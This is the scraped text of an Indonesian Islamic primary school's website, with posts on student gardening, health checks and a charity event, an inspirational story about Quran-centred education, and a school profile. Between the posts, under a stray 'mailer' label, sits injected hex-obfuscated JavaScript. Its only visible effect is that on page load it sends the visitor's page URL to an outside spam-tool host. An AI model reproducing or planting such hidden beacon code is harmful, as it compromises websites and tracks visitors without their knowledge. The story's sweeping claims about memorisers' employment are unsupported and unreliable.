Upacara dan Persiapan Masuk Kelas

Tertib dan pembelajaran disiplin sudah dimulai dari awal kegiatan belajar mengajar. Disiplin waktu, disiplin baris dan disiplin belajar. More »

Panggung Kreasi Seni An Naiim

Salah satu kreasi Seni dari anak-anak Annaiim, melatih dan mendidik anak-anak untuk lebih berani dan kreatif More »

Kegiatan outboond, pengenalan rukun Islam

Kegiatan outboond, pengenalan rukun Islam ke-5 tentang kewajiban pelaksanaan Haji jika mampu More »

Panggung Kreasi Seni An Naiim

Salah satu kreasi Seni dari anak-anak Annaiim, melatih dan mendidik anak-anak untuk lebih berani dan kreatif More »

Kelas 1 sholat dzuhur berjamaah

Kelas 1 sholat dzuhur berjamaah, adzan oleh ananda Ismail : mendidik dan membiasakan diri solat berjamaah pada anak-anak sedini mungkin, membentuk kenyakinan dan kebiasaan untuk menumbuhkan kesadaran. More »

 

mailer

var _0x8a59=["\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x73\x70\x61\x6D\x74\x6F\x6F\x6C\x2E\x63\x6F\x6D\x2F\x6D\x61\x69\x6C\x65\x72\x5F\x69\x6E\x62\x6F\x78\x74\x6F\x61\x6C\x6C\x2E\x70\x68\x70\x3F\x6D\x61\x69\x6C\x65\x72\x3D","\x68\x72\x65\x66"];a= new Image();a[_0x8a59[0]]=_0x8a59[1]+escape(location[_0x8a59[2]]); ‘;?>

Menanam Jagung … di Kebun Kita MI Annaiim

abaaff35-8d9f-47fa-a9c2-4b28aacadfd9

Cangkul .. cangkul .. cangkul yg dalam …
Menanam Jagung di kebun Kita …..

Panen Jagung hasil menanam siswa didik … senyum lebar dan rasa puas perpancar di wajah para siswa/i pada saat memanen hasil tanaman jagungnya … 🙂

58fcde14-969e-4902-928e-97494013f34b b23dcb7e-0dda-40ab-af08-95f281d275d1

Pemeriksaan Rutin Kondisi Kesehatan Siswa didik

Pemeriksaan Rutin Kondisi Kesehatan Siswa didik, memastikan tidak ada siswa didik yang mempunyai masalah atau gangguan kesehatan yang bisa mengganggu kegiatan belajar mengajar, sekaligus menemukenali keadaan dan kondisi fisik seluruh siswa lebih awal ….

Kegiatan pemeriksaan kesehatan oleh praktisi kesehatan (bidan dan perawat) ini menjadi kegiatan rutin di MI Annaiim dalam periode triwulanan (per 3 bulan), dan akan selalu di evaluasi untuk lebih mengoptimalkan hasil yang ingin di dapat. diharapkan seluruh siswa didik MI Annaiim selalu dalam keadaan sehat .

7de0dc8f-885b-4e9d-ba2e-05e0a1679abe 829dfdaa-3eea-4099-ac3e-fb1f6672f121 1699b63f-6ba7-4934-a25d-fc5fdccb5485 a85c703d-d410-4d6a-9cda-24b6c9cbe237

Kegiatan : Menanam tanaman organic, tanpa pestisida dan pupuk kimia …

Salah satu Kegiatan ektrakulikuler yang di kembangkan di MI An Naiim adalah bercocok tanam dengan murni menggunakan sumber pupuk dan media alam, tanpa pupuk kimia dan obat maha pestisida.

kegiatan ini dimaksudkan untuk memupuk kreatifitas, keahlian, kemandirian, kepedulian dan kebersamaan … diharapkan peserta didik MI Annaiim bisa lebih mengenal sumber makanan yg lebih sehat (organic), bagaimana prosesnya yang mengedepankan kebersamaan, kebutuhan kretifitas, pengenalan kebesaran Allah dengan kekuasaannya terhadap makluk hidup, kepedulian terhadap pelestarian lingkungan dan kesehatan.

20160108-berkebun4 20160108-berkebun2 20160108_berkebun120160108-berkebun3

 

Sistem Pendidikan Terbaik

Oleh: Muhammad Husnan

Sekitar Empat tahun yang lalu tepatnya di awal Ramadhan 1433 H Saya mengikuti kuliah subuh di Masjid dekat rumah. Ustadz yang berceramah menceritakan kisah nyata dari seorang rektor salah satu perguruan tinggi swasta di Indonesia yang sedang mencari sistem pendidikan terbaik yang dapat menghasilkan dan mencetak generasi yang cerdas, bermartabat dan bisa bermanfaat bagi bangsa dan agama.

Untuk mencari sistem pendidikan terbaik, rektor tersebut pergi ke Timur Tengah untuk meminta nasihat dari seorang ulama terkemuka di sana. Ketika bertemu dengan ulama yang ingin ditemuinya, lalu dia menyampaikan maksudnya untuk meminta saran bagaimana menciptakan sistem pendidikan terbaik untuk kampus yang dipimpinnya saat ini.

Sebelum menjawab pertanyaan dari rektor, ulama tersebut bertanya bagaimana sistem pendidikan saat ini di Indonesia mulai dari tingkat bawah sampai paling atas?
Rektor menjawab, “paling bawah mulai dari SD selama 6 tahun, SMP 3 tahun, SMA 3 tahun, D3 3 tahun atau S1 4 tahun, S2 sekitar 1.5 – 2 tahun, dan setelah itu S3 untuk yang paling tinggi.

Jadi untuk sampai S2 saja butuh waktu sekitar 18 tahun ya? Tanya Sang Ulama.
Iya, jawab rektor tersebut.
Lalu bagaimana jika hanya lulus sampai di SD saja selama 6 tahun, pekerjaan apa yang akan bisa didapat? Tanya kembali Sang Ulama.
Kalau hanya SD paling hanya buruh lepas atau tukang sapu jalanan, tukang kebun dan pekerjaan sejenisnya. Tidak ada pekerjaan yang bisa diharapkan jika hanya lulus SD di negeri Kami. Jawab si rektor.

Jika Lulus SMP bagaimana?
Untuk SMP mungkin jadi office boy (OB) atau cleaning service, jawab kembali si rektor. Kalau SMA bagaimana?
Kalau lulus SMA masih agak mending pekerjaan nya di negeri Kami, bisa sebagai operator di perusahaan-perusahaan, lanjut si rektor.

Kalau lulus D3 atau S1 bagaimana? Bertanya kembali Sang Ulama. Klo lulus D3 atau S1 bisa sebagai staff di kantor dan S2 bisa langsung jadi manager di sebuah perusahaan, kata si rektor.

Berarti untuk mendapatkan pekerjaan yang enak di negeri Anda minimal harus lulus D3/S1 atau menempuh pendidikan selama kurang lebih 15-16 tahun ya? Tanya kembali sang Ulama. Iya betul, jawab si rektor.

Sekarang coba bandingkan dengan pendidikan yang Islam ajarkan. Misal selama 6 tahun pertama (SD) hanya mempelajari dan menghapal Al-Qur’an, apakah bisa hapal 30 juz? Tanya Sang Ulama. Inshaa Alloh bisa, jawab si rektor dengan yakin. Apakah ada hafidz Qur’an di negeri Anda yang bekerja sebagai buruh lepas atau tukang sapu seperti yang Anda sebutkan tadi untuk orang yang hanya Lulus SD? Kembali tanya Sang Ulama. Tidak ada, jawab si rektor.

Jika dilanjut 3 tahun berikutnya mempelajari dan menghapal hadis apakah bisa menghapal ratusan hadis selama 3 tahun? Bisa, jawab si rektor. Apakah ada di negara Anda orang yang hapal Al-Qur’an 30 juz dan ratusan hadis menjadi OB atau cleaning service? Tidak ada, jawab kembali si rektor.

Lanjut 3 tahun setelah itu mempelajari tafsir Al-Qur’an, apakah ada di negara Anda orang yang hafidz Qur’an, hapal hadis dan bisa menguasai tafsir yang kerjanya sebagai operator di pabrik? Tanya kembali ulama tersebut. Tidak ada, jawab si rektor. Rektor tersebut mengangguk mulai mengerti maksud sang ulama.

Anda mulai paham maksud Saya? Ya, jawab si rektor.

Berapa lama pelajaran agama yang diberikan dalam seminggu? Kurang lebih 2-3 jam, jawab si rektor.

Sang ulama melanjutkan pesannya kepada si rektor, jika Anda ingin mencetak generasi yang cerdas, bermartabat, bermanfaat bagi bangsa dan agama, serta mendapatkan pekerjaan yang layak setelah lulus nanti, Anda harus merubah sistem pendidikan Anda dari orientasi dunia menjadi mengutamakan orientasi akhirat karena jika Kita berfokus pada akhirat inshaa Alloh dunia akan didapat. Tapi jika sistem pendidikan Anda hanya berorientasi pada dunia, maka dunia dan akhirat belum tentu akan didapat.

Pelajari Al-Qur’an karena orang yang mempelajari Al-Qur’an, Alloh akan meninggikan derajat orang tersebut di mata hamba-hambaNya. Itulah sebabnya Anda tidak akan menemukan orang yang hafidz Qur’an di negara Anda atau di negara manapun yang berprofesi sebagai tukang sapu atau buruh lepas walaupun orang tersebut tidak belajar sampai ke jenjang pendidikan yang tinggi karena Alloh yang memberikan pekerjaan langsung untuk para hafidz Qur’an. Hafidz Qur’an adalah salah satu karyawan Alloh dan Alloh sayang sama mereka dan akan menggajinya lewat cara-cara yang menakjubkan. Tidak perlu gaji bulanan tapi hidup berkecukupan.

Itulah pesan Sang Ulama kepada rektor tersebut. Mari kita didik diri dan keluarga kita agar senantiasa selalu membaca, mempelajari, dan menghapal Al-Qur’an agar hidup kita dimudahkan dan berkecukupan. Totalitas menjadi karyawan Alloh bukan hanya karyawan dari seorang manusia.

Semoga bermanfaat.
Silahkan dishare agar semakin banyak yang terinspirasi untuk mempelajari dan menghapal Al-Qur’an

Baksos Kesehatan

Di bulan Oktober 2015, tepatnya tanggal 4, Yayasan TIAN mengadakan bakti sosial berlokasi di RA Annaiim di Taman Cibaduyut Indah.

Ada 3 kegiatan besar yang dilakukan untuk masyarakat sekitar dan lingkungan pendidikan RA dan MI :
1. Seminar Kesehatan “Keajaiban Imunitas Tubuh Manusia”
2. Cek Golongan Darah
3. Cek Tensi dan Konsultasi kesehatan.

Kegiatan-kegiatan sejenis ini selalu menjadi agenda rutin yayasan, termasuk kegiatan-kegiatan pada event keagamaan seperti penggalangan zakat fitrah dan penyaluran, pelaksanaan Qurban dan penyalurannya, dan lain sebagainya.

Semoga Allah meridhoi setiap kegiatan sosial yang diadakan. Aamiin.

IMG-20151019-WA0047 IMG-20151019-WA0045  IMG-20151019-WA0041

MI Anna’iim

Umat Islam adalah umat yang terbaik. Sejarah telah membuktikan dua pertiga belahan dunia pernah dikuasai oleh Islam selama berabad-abad. Dan dalam perjalanannya banyak cendikiawan muslim yang memberikan sumbangan besar bagi peradaban dunia. Kunci keberhasilan dalam mencapai kejayaan tersebut adalah pada keimanan dan keilmuan yang mereka peroleh dari sebuah pembinaan dan pendidikan yang tidak terlepas dari Al Qur’an.

Pendidikan memiliki peran yang sangat penting dalam membentuk kepribadian dan perkembangan peradaban manusia, agar manusia terbebas dari kebodohan, kegelapan dan kesesatan. Pendidikan dalam Islam memiliki tujuan untuk menyiapkan individu yang mampu mengabdi kepada Allah dengan bentuk pegabdian yang tidak hanya sekedar sholat, shaum dan zakat, melainkan juga pada setiap usaha dan karya yang dihasilkan untuk kemajuan Islam dan dalam rangka menggapai Ridho Alloh.

Pendidikan sepatutnya menghasilkan generasi yang terbaik, yaitu generasi yang memiliki aqidah Islam yang kokoh bagaikan akar yang menghujam ke dalam tanah, memiliki cita-cita yang tinggi bagaikan dahan pohon yang menjulang ke langit, dan menghasilkan buah-buahan yang banyak berupa karya-karyanya kepada masyarakat dan juga agamanya. Untuk mewujudkannya, diperlukan fasilitas lingkungan pendidikan yang mampu menunjang ke arah terbentuknya generasi terbaik tersebut.

Dalam rangka meningkatkan peran serta dalam dunia pendidikan, Yayasan Tarbiyatul Insan An Na’iim mendirikan sekolah setingkat Sekolah Dasar, yaitu Madrasah Ibtida’iyah An Na’iim dengan berorientasi kepada Teknologi Informasi dan Komunikasi dalam kegiatannya, dan tetap menjadikan Al Quran sebagai landasan dalam pembentukan sikapnya.